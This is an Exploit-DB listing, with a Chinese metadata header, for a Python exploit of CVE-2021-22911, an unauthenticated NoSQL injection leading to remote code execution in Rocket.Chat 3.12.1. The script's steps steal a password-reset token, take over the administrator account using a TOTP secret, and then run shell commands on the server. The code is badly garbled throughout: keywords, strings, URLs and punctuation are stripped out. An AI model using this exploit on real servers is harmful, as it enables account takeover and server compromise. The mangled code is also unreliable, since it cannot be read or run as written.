标题: Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated) (2) EDB-ID: 50108 CVE: 2021-22911 类型: WEBAPPS 平台: LINUX 发布日期: 2021-07-07 漏洞利用脚本: # Title: Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated) (2)
# Author: enox
# Date: 06-06-2021
# Product: Rocket.Chat
# Vendor: https://rocket.chat/
# Vulnerable Version(s): Rocket.Chat 3.12.1 (2)
# CVE: CVE-2021-22911
# Credits: https://blog.sonarsource.com/nosql-injections-in-rocket-chat
# Info : This is a faster exploit that utilizes the authenticated nosql injection to retrieve the reset token for administrator instead of performing blind nosql injection.

#!/usr/bin/python

import requests
 string
 time
 hashlib
 json
 oathtool
 argparse

parser  argparseArgumentParserdescription
parseradd_argument  required
parseradd_argument  required
parseradd_argument  required
args  parserparse_args


adminmail  argsa
lowprivmail  argsu
target  argst


 emailurl
 payloademail
 headers 
 r  requestsposturl data  payload headers  headers verify   allow_redirects  
 


 url
 u  url
 headers 
 token  

 num  
 string_ints      num
 characters  stringascii_uppercase  stringascii_lowercase    string_ints

  token 
   c  characters
   payload  token  c
   r  requestspostu data  payload headers  headers verify   allow_redirects  
   timesleep
       rtext
    token  c
    f

 f
  token


 urltoken
 payload  token
 headers 
 r  requestsposturl data  payload headers  headers verify   allow_redirects  
    rtext
  exit
 


 urlemail
 
 sha256pass  hashlibsha256bhexdigest
 payload emailsha256pass
 headers 
 r  requestsposturl  datapayloadheadersheadersverifyallow_redirects
    rtext
  exit
 data  jsonloadsrtext  
 data data
 userid  data
 token  data
 f

 
 cookies   userid token
 headers userid token
 payload  
 r  requestsgeturlpayloadcookiescookiesheadersheaders
 code  rtext
 f
  code

 urlemail
 
 sha256pass  hashlibsha256bhexdigest
 payload emailsha256pass
 headers 
 r  requestsposturl  datapayloadheadersheadersverifyallow_redirects
    rtext
  exit
 data  jsonloadsrtext  
 data data
 userid  data
 token  data
 f

 
 cookies   userid token
 headers userid token
 payload  
 r  requestsgeturlpayloadcookiescookiesheadersheaders
 code  rtext
 f
  code


 urltokencode
 payload  tokencode
 headers 
 r  requestsposturl data  payload headers  headers verify   allow_redirects  
    rtext
  exit

 


 urlcodecmd
 
 sha256pass  hashlibsha256bhexdigest
 headers 
 payload  sha256passcode
 r  requestsposturl  datapayloadheadersheadersverifyallow_redirects
    rtext
  exit
 data  jsonloadsrtext
 data data
 userid  data
 token  data
 

 
 payload  cmd
 cookies   userid token
 headers   userid token
 r  requestsposturlcookiescookiesheadersheadersdatapayload
 data  rtext
 data  datasplit
 token  data
 token  token
 _id  data
 _id  _id

 
 u  url    _id   token
 r  requestsgetu
 rtext





f

forgotpasswordlowprivmailtarget


token  resettokentarget


changingpasswordtargettoken




secret  twofactortargetlowprivmail



f
forgotpasswordadminmailtarget


token  admin_tokentargetlowprivmail



code  oathtoolgenerate_otpsecret
changingadminpasswordtargettokencode



 
 cmd  
 code  oathtoolgenerate_otpsecret
 rcetargetcodecmd URL: https://www.exploit-db.com/exploits/50108